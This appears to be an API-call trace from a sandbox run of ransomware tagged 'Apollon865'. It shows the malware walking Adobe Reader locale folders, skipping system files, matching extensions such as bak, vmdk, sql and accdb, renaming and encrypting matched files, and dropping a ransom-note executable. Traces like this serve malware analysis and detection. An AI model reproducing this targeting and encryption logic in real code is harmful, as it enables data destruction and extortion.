	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.923] lstrlenW (lpString="ask") returned 3
	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.923] lstrlenW (lpString="btr") returned 3
	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.923] lstrlenW (lpString="cat") returned 3
	[0059.923] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.923] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT.Apollon865") returned 83
	[0059.923] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\updater.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.924] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10752) returned 1
	[0059.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.925] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.925] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.926] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.926] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.926] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d00, lpName=0x0) returned 0x154
	[0059.928] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d00) returned 0x120000
	[0059.929] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.929] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.929] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.929] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.930] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.930] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.930] CloseHandle (hObject=0x154) returned 1
	[0059.930] CloseHandle (hObject=0x15c) returned 1
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.930] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.931] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="Apollon865.txt.exe") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2=".") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="..") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="windows") returned -1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="bootmgr") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="temp") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="pagefile.sys") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="boot") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="ids.txt") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="ntuser.dat") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="perflogs") returned 1
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2="MSBuild") returned 1
	[0059.931] lstrlenW (lpString="WebLink.CAT") returned 11
	[0059.931] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\updater.CAT") returned 72
	[0059.931] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="WebLink.CAT" | out: lpString1="WebLink.CAT") returned="WebLink.CAT"
	[0059.931] lstrlenW (lpString="WebLink.CAT") returned 11
	[0059.931] lstrlenW (lpString="Apollon865") returned 10
	[0059.931] lstrcmpiW (lpString1="ebLink.CAT", lpString2="Apollon865") returned 1
	[0059.931] lstrlenW (lpString=".dll") returned 4
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2=".dll") returned 1
	[0059.931] lstrlenW (lpString=".lnk") returned 4
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2=".lnk") returned 1
	[0059.931] lstrlenW (lpString=".ini") returned 4
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2=".ini") returned 1
	[0059.931] lstrlenW (lpString=".sys") returned 4
	[0059.931] lstrcmpiW (lpString1="WebLink.CAT", lpString2=".sys") returned 1
	[0059.931] lstrlenW (lpString="WebLink.CAT") returned 11
	[0059.931] lstrlenW (lpString="bak") returned 3
	[0059.931] lstrcmpiW (lpString1="CAT", lpString2="bak") returned 1
	[0059.931] lstrlenW (lpString="ba_") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="ba_") returned 1
	[0059.932] lstrlenW (lpString="dbb") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="dbb") returned -1
	[0059.932] lstrlenW (lpString="vmdk") returned 4
	[0059.932] lstrcmpiW (lpString1=".CAT", lpString2="vmdk") returned -1
	[0059.932] lstrlenW (lpString="rar") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="rar") returned -1
	[0059.932] lstrlenW (lpString="zip") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="zip") returned -1
	[0059.932] lstrlenW (lpString="tgz") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="tgz") returned -1
	[0059.932] lstrlenW (lpString="vbox") returned 4
	[0059.932] lstrcmpiW (lpString1=".CAT", lpString2="vbox") returned -1
	[0059.932] lstrlenW (lpString="vdi") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="vdi") returned -1
	[0059.932] lstrlenW (lpString="vhd") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="vhd") returned -1
	[0059.932] lstrlenW (lpString="vhdx") returned 4
	[0059.932] lstrcmpiW (lpString1=".CAT", lpString2="vhdx") returned -1
	[0059.932] lstrlenW (lpString="avhd") returned 4
	[0059.932] lstrcmpiW (lpString1=".CAT", lpString2="avhd") returned -1
	[0059.932] lstrlenW (lpString="db") returned 2
	[0059.932] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0059.932] lstrlenW (lpString="db2") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="db2") returned -1
	[0059.932] lstrlenW (lpString="db3") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="db3") returned -1
	[0059.932] lstrlenW (lpString="dbf") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="dbf") returned -1
	[0059.932] lstrlenW (lpString="mdf") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="mdf") returned -1
	[0059.932] lstrlenW (lpString="mdb") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="mdb") returned -1
	[0059.932] lstrlenW (lpString="sql") returned 3
	[0059.932] lstrcmpiW (lpString1="CAT", lpString2="sql") returned -1
	[0059.932] lstrlenW (lpString="sqlite") returned 6
	[0059.933] lstrcmpiW (lpString1="nk.CAT", lpString2="sqlite") returned -1
	[0059.933] lstrlenW (lpString="sqlite3") returned 7
	[0059.933] lstrcmpiW (lpString1="ink.CAT", lpString2="sqlite3") returned -1
	[0059.933] lstrlenW (lpString="sqlitedb") returned 8
	[0059.933] lstrcmpiW (lpString1="Link.CAT", lpString2="sqlitedb") returned -1
	[0059.933] lstrlenW (lpString="xml") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="xml") returned -1
	[0059.933] lstrlenW (lpString="$er") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="$er") returned 1
	[0059.933] lstrlenW (lpString="4dd") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="4dd") returned 1
	[0059.933] lstrlenW (lpString="4dl") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="4dl") returned 1
	[0059.933] lstrlenW (lpString="^^^") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="^^^") returned 1
	[0059.933] lstrlenW (lpString="abs") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="abs") returned 1
	[0059.933] lstrlenW (lpString="abx") returned 3
	[0059.933] lstrcmpiW (lpString1="CAT", lpString2="abx") returned 1
	[0059.933] lstrlenW (lpString="accdb") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accdb") returned 1
	[0059.933] lstrlenW (lpString="accdc") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accdc") returned 1
	[0059.933] lstrlenW (lpString="accde") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accde") returned 1
	[0059.933] lstrlenW (lpString="accdr") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accdr") returned 1
	[0059.933] lstrlenW (lpString="accdt") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accdt") returned 1
	[0059.933] lstrlenW (lpString="accdw") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accdw") returned 1
	[0059.933] lstrlenW (lpString="accft") returned 5
	[0059.933] lstrcmpiW (lpString1="k.CAT", lpString2="accft") returned 1
	[0059.933] lstrlenW (lpString="adb") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.934] lstrlenW (lpString="adb") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="adb") returned 1
	[0059.934] lstrlenW (lpString="ade") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="ade") returned 1
	[0059.934] lstrlenW (lpString="adf") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="adf") returned 1
	[0059.934] lstrlenW (lpString="adn") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="adn") returned 1
	[0059.934] lstrlenW (lpString="adp") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="adp") returned 1
	[0059.934] lstrlenW (lpString="alf") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="alf") returned 1
	[0059.934] lstrlenW (lpString="ask") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="ask") returned 1
	[0059.934] lstrlenW (lpString="btr") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="btr") returned 1
	[0059.934] lstrlenW (lpString="cat") returned 3
	[0059.934] lstrcmpiW (lpString1="CAT", lpString2="cat") returned 0
	[0059.934] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT.Apollon865") returned 83
	[0059.934] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat.apollon865"), dwFlags=0x1) returned 1
	[0059.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\WebLink.CAT.Apollon865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\weblink.cat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0059.935] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=29184) returned 1
	[0059.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0059.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.935] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.935] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0059.936] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0059.936] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.936] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7500, lpName=0x0) returned 0x154
	[0059.938] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7500) returned 0x120000
	[0059.940] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0059.940] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0059.940] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59abf0
	[0059.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59abf0 | out: hHeap=0x580000) returned 1
	[0059.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.941] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.941] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0059.941] CloseHandle (hObject=0x154) returned 1
	[0059.941] CloseHandle (hObject=0x15c) returned 1
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0059.942] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WebLink.CAT", cAlternateFileName="")) returned 0
	[0059.942] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0059.942] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0059.942] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services"
	[0059.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0059.942] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0059.942] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned 69
	[0059.942] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services"
	[0059.942] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0059.942] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\services\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0059.948] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0059.948] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bcd56b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bcd56b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0059.948] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.948] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0059.948] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0059.948] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3bcd56b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3bcd56b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0059.948] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.948] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0059.948] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0059.948] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0059.948] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9586, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1
	[0059.948] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0059.948] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="Apollon865.txt.exe") returned 1
	[0059.948] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1
	[0059.948] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="temp") returned -1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="pagefile.sys") returned -1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot") returned 1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ids.txt") returned -1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="perflogs") returned -1
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSBuild") returned -1
	[0059.949] lstrlenW (lpString="DEXShare.asfx") returned 13
	[0059.949] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Services\\*") returned 71
	[0059.949] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="DEXShare.asfx" | out: lpString1="DEXShare.asfx") returned="DEXShare.asfx"
	[0059.949] lstrlenW (lpString="DEXShare.asfx") returned 13
	[0059.949] lstrlenW (lpString="Apollon865") returned 10
	[0059.949] lstrcmpiW (lpString1="Share.asfx", lpString2="Apollon865") returned 1
	[0059.949] lstrlenW (lpString=".dll") returned 4
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".dll") returned 1
	[0059.949] lstrlenW (lpString=".lnk") returned 4
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".lnk") returned 1
	[0059.949] lstrlenW (lpString=".ini") returned 4
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".ini") returned 1
	[0059.949] lstrlenW (lpString=".sys") returned 4
	[0059.949] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".sys") returned 1
	[0059.949] lstrlenW (lpString="DEXShare.asfx") returned 13
	[0059.949] lstrlenW (lpString="bak") returned 3
	[0059.949] lstrcmpiW (lpString1="sfx", lpString2="bak") returned 1
	[0059.949] lstrlenW (lpString="ba_") returned 3
	[0059.949] lstrcmpiW (lpString1="sfx", lpString2="ba_") returned 1
	[0059.949] lstrlenW (lpString="dbb") returned 3
	[0059.949] lstrcmpiW (lpString1="sfx", lpString2="dbb") returned 1
	[0059.949] lstrlenW (lpString="vmdk") returned 4
	[0059.949] lstrcmpiW (lpString1="asfx", lpString2="vmdk") returned -1
	[0059.949] lstrlenW (lpString="rar") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="rar") returned 1
	[0059.950] lstrlenW (lpString="zip") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="zip") returned -1
	[0059.950] lstrlenW (lpString="tgz") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="tgz") returned -1
	[0059.950] lstrlenW (lpString="vbox") returned 4
	[0059.950] lstrcmpiW (lpString1="asfx", lpString2="vbox") returned -1
	[0059.950] lstrlenW (lpString="vdi") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="vdi") returned -1
	[0059.950] lstrlenW (lpString="vhd") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="vhd") returned -1
	[0059.950] lstrlenW (lpString="vhdx") returned 4
	[0059.950] lstrcmpiW (lpString1="asfx", lpString2="vhdx") returned -1
	[0059.950] lstrlenW (lpString="avhd") returned 4
	[0059.950] lstrcmpiW (lpString1="asfx", lpString2="avhd") returned -1
	[0059.950] lstrlenW (lpString="db") returned 2
	[0059.950] lstrcmpiW (lpString1="fx", lpString2="db") returned 1
	[0059.950] lstrlenW (lpString="db2") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="db2") returned 1
	[0059.950] lstrlenW (lpString="db3") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="db3") returned 1
	[0059.950] lstrlenW (lpString="dbf") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="dbf") returned 1
	[0059.950] lstrlenW (lpString="mdf") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="mdf") returned 1
	[0059.950] lstrlenW (lpString="mdb") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="mdb") returned 1
	[0059.950] lstrlenW (lpString="sql") returned 3
	[0059.950] lstrcmpiW (lpString1="sfx", lpString2="sql") returned -1
	[0059.950] lstrlenW (lpString="sqlite") returned 6
	[0059.950] lstrcmpiW (lpString1="e.asfx", lpString2="sqlite") returned -1
	[0059.950] lstrlenW (lpString="sqlite3") returned 7
	[0059.950] lstrcmpiW (lpString1="re.asfx", lpString2="sqlite3") returned -1
	[0059.950] lstrlenW (lpString="sqlitedb") returned 8
